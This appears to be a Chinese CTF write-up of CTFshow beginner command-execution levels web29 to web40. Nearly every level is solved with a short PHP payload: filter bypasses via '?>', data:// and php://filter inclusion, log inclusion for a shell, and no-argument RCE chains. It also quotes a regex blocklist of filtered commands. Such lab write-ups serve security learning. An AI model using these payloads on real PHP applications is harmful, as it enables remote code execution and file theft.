CTFshow-WEB入门-命令执行(持续更新)

web29

?c=system("cat fla*.php");

或者CTFshow-WEB入门-命令执行(持续更新)_第1张图片
连蚁剑得flag。

web30

CTFshow-WEB入门-命令执行(持续更新)_第2张图片

或者其他姿势,因为过滤太少,命令执行得函数很多,绕过姿势也很多,因此不列举了。

web31

CTFshow-WEB入门-命令执行(持续更新)_第3张图片

或者

?c=echo`tac%09fl*`;

web32

利用自己以前没有注意过得一个点。

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
     

过滤了括号和分号确实有些难受。过滤了括号只能用无括号的函数:
CTFshow-WEB入门-命令执行(持续更新)_第4张图片
但是过滤了分号让我非常不解,eval内如果要RCE必须以分号结尾啊,没有分号怎么行呢?
后来看了WP,发现自己的问题所在:
CTFshow-WEB入门-命令执行(持续更新)_第5张图片
例如eval这样的句子,

eval("echo 1;");
eval("echo 1?>");

这两种都是可以的。因此利用?>。接下来有大致两种方法。

一种是这样:

?c=include$_GET[0]?>&0=data://text/plain,

利用文件包含的洞,在这题的环境直接可以RCE。
或者利用php伪协议来读php文件:

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

学到了!还是自己太菜了。

web33

这题和web32基本一样,多了一些无关紧要的过滤,又想了一种可以include日志:

CTFshow-WEB入门-命令执行(持续更新)_第6张图片
同样可以拿到shell,然后读文件即可。

web34

同上。

web35

同上

web36

同上,不过0改成a即可。

web37

相当于没过滤,姿势太多。

?c=data://text/plain,<?php system("cat fla*")?>

web38

?c=data://text/plain,<?= system("cat fla*");?>

相当于没过滤,姿势太多。

web39

同上,不过hint是这样说的:

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40

利用无参数RCE的姿势,一个坑的地方就是括号:
在这里插入图片描述

并不是(),而是(),实在有毒。。。

参考:PHP Parametric Function RCE

姿势一

readfile(array_rand(array_flip(scandir(current(localeconv())))));
或者
readfile(next(array_reverse(scandir(current(localeconv())))));

姿势二

以为这不是一个apache2的环境,但是经过测试确实存在getallheaders(),因此利用getallheaders():

?c=eval(array_rand(array_flip(getallheaders())));

CTFshow-WEB入门-命令执行(持续更新)_第7张图片
碰运气。

姿势三

利用get_defined_vars()

?c=eval(end(current(get_defined_vars())));&a=system("ls");

这题利用session_id的话,无法读flag,因为过滤了数字,也没法hex2bin:
CTFshow-WEB入门-命令执行(持续更新)_第8张图片

因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。

没有hex2bin的话,就只能执行数字字母的命令了。或许也有其他的函数可以实现?

你可能感兴趣的:(命令执行,php,web,shell,安全,命令执行)